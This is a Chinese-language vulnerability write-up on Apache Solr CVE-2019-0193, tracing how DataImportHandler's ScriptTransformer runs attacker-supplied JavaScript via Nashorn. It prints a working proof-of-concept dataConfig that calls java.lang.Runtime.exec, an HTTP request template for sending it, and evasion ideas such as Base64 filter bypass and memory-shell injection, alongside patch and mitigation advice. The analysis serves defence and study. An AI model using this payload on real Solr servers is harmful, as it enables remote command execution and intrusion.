CVE-2019-0193 Apache Solr远程命令执行漏洞分析
字数 1935
更新时间 2025-08-27 12:33:43

Apache Solr远程命令执行漏洞(CVE-2019-0193)深入分析与利用指南

1. 漏洞概述

Apache Solr存在一个远程代码执行漏洞(CVE-2019-0193),攻击者可以利用dataConfig参数构造恶意请求,导致执行任意代码。该漏洞源于Solr的DataImportHandler功能,特别是其ScriptTransformer组件对用户输入的不当处理。

2. 前置知识

2.1 DataImportHandler功能

DataImportHandler(DIH)是Solr用于从数据库或其他数据源导入数据的组件,支持通过XML配置文件定义数据导入规则:

  • 支持从数据库、XML、HTTP等数据源导入
  • 支持数据转换(Transformers)
  • 配置文件语法参考:

2.2 ScriptTransformer组件

ScriptTransformer允许使用脚本语言转换数据:

  • 支持语言:JavaScript、JRuby、Jython、Groovy和BeanShell
  • 脚本应写在数据仓库配置文件顶级的<script>元素内
  • 转换器属性值为script:函数名

示例配置

<dataConfig>
  <script><![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get('temp_f');
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put('temp_c', temp_c);
      }
      return row;
    }
  ]]></script>
  <document>
    <entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
    </entity>
  </document>
</dataConfig>

2.3 Nashorn引擎

Solr使用Nashorn引擎解析JavaScript脚本:

  • Nashorn是Java 8中的JavaScript引擎,取代了Rhino
  • 可以通过Java.typeAPI在JavaScript中引用Java类
  • 示例:
var MyJavaClass = Java.type('my.package.MyJavaClass');
var result = MyJavaClass.sayHello("Nashorn");
print(result);

3. 漏洞详细分析

3.1 请求处理流程

  1. 初始处理

    • 请求进入dataimport/DataImportHandlerhandleRequestBody方法
    • 当command为full-import时,通过maybeReloadConfiguration重新加载配置
  2. 配置加载

    • maybeReloadConfiguration通过params.getDataConfig()检查post的dataConfig数据
    • 非空时通过loadDataConfig加载配置
    • readFromXml方法解析配置中的各个标签(document, script, function, dataSource等)
    • 自定义脚本存入script变量,构建DIHConfiguration对象
  3. 导入执行

    • 通过this.importer.runCmd()处理导入过程
    • doFullImport创建DocBuilder对象解析config结构
    • 最终得到EntityProcessorWrapper对象

3.2 漏洞触发点

  1. ScriptTransformer处理

    • 当entity中含有Transformers时,会进行相应转换操作
    • ScriptTransformer允许执行用户自定义脚本
    • 恶意脚本通过<script>标签注入
  2. 脚本执行机制

    • 通过EntityProcessorWrapper.nextRow调用
    • applyTransformer()执行转换,调用相应Transformer的transformRow方法
    • 根据指定语言初始化解析引擎(如Nashorn)
  3. 命令执行

    • Nashorn引擎允许通过Java.type引用任意Java类
    • 攻击者可利用此功能导入并执行危险类(如java.lang.Runtime)

3.3 调用栈

DataImportHandler.handleRequestBody()
-> DataImporter.maybeReloadConfiguration()
   -> DataImporter.loadDataConfig()
      -> DIHConfiguration.readFromXml()
-> DataImporter.runCmd()
   -> DataImporter.doFullImport()
      -> DocBuilder.execute()
         -> EntityProcessorWrapper.nextRow()
            -> EntityProcessorWrapper.applyTransformer()
               -> ScriptTransformer.transformRow()
                  -> Nashorn引擎执行恶意脚本

4. 漏洞利用

4.1 利用条件

  • Solr启用了DataImportHandler功能
  • 攻击者能够向DataImportHandler接口发送请求

4.2 利用方式

构造恶意dataConfig请求,示例PoC:

<dataConfig>
  <script><![CDATA[
    function poc(row) {
      var Runtime = Java.type("java.lang.Runtime");
      var Process = Runtime.getRuntime().exec("touch /tmp/poc");
      return row;
    }
  ]]></script>
  <document>
    <entity name="entity1" transformer="script:poc" query="SELECT * FROM X">
    </entity>
  </document>
</dataConfig>

通过HTTP请求发送:

POST /solr/corename/dataimport HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

command=full-import&dataConfig=...上面恶意XML...

4.3 利用增强

  • 使用Base64编码绕过简单过滤
  • 多语言利用(除JavaScript外,还可尝试JRuby、Jython等)
  • 内存马注入

5. 修复方案

5.1 官方修复

升级到Solr安全版本:

  • Solr 8.1.1
  • Solr 7.7.2
  • Solr 6.6.5

5.2 临时缓解措施

注意:仅清空index core的配置文件不能缓解漏洞,必须:

  1. 注释solrconfig.xml中所有dataimport requestHandler配置:
<!--
<requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
  <lst name="defaults">
    <str name="config">data-config.xml</str>
  </lst>
</requestHandler>
-->
  1. 重启Solr服务器

5.3 防护建议

  • 禁用不必要的DataImportHandler功能
  • 实施网络访问控制,限制Solr管理接口访问
  • 监控可疑的dataimport请求

6. 参考资源

相似文章
相似文章
 全屏